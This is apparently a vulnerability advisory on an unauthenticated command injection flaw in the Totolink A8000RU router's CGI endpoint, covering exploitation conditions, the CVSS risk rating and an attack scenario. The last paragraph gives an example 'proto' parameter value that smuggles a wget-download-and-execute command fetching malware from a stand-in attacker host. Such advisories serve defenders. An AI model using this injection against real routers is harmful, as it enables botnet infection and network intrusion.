Totolink A8000RU EUVD-2026-26470

Exploitation requires the Totolink A8000RU administrative web interface (/cgi-bin/cstecgi.cgi endpoint) to be network-accessible to the attacker. CVSS vector AV:N indicates network reachability is the primary requirement - devices with WAN-facing management interfaces or accessible from the same network segment as the attacker are exploitable. PR:N confirms no authentication is required to reach the vulnerable CGI handler, suggesting either the endpoint lacks authentication checks entirely or the command injection occurs in pre-authentication code paths. AC:L and UI:N indicate no complex timing, race conditions, or user interaction dependencies. Default Totolink configurations typically expose the web interface on LAN interfaces; exploitation risk escalates significantly if remote management is enabled (WAN-side access) or if attacker has gained internal network access via other means (phishing, rogue devices). Firmware version must be exactly 7.1cu.643_b20200521 as specified in CPE data.

This represents critical real-world risk. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) confirms remote exploitation requiring no authentication, low attack complexity, and no user interaction. The E:P (Proof-of-concept) modifier confirms exploit code availability, which the references verify via a detailed GitHub repository with exploitation steps. While no CISA KEV listing exists (suggesting no observed mass-scanning or widespread campaign yet), the combination of internet-exposed consumer routers, publicly documented exploit, and complete system compromise potential (VC:H/VI:H/VA:H) creates immediate weaponization risk. Consumer routers rarely receive security updates, meaning vulnerable devices will likely remain exploitable indefinitely. The scope unchanged (SC:N/SI:N/SA:N) indicates impact limited to the router itself, but compromised routers enable traffic interception, DNS hijacking, and pivot points into internal networks. Priority should be HIGH for organizations using these devices in branch offices or telework scenarios.

An attacker scans internet IP ranges for Totolink A8000RU devices exposing the management interface on standard ports (typically TCP 80/443). Upon identifying a target, the attacker sends a crafted HTTP request to /cgi-bin/cstecgi.cgi with a malicious 'proto' parameter containing shell metacharacters (e.g., proto=value;wget http://attacker.com/malware -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot). The CGI handler executes the injected commands with root privileges, downloading and executing botnet malware. The compromised router joins a botnet for DDoS attacks, cryptocurrency mining, or serves as a persistent entry point into the victim's internal network for data exfiltration.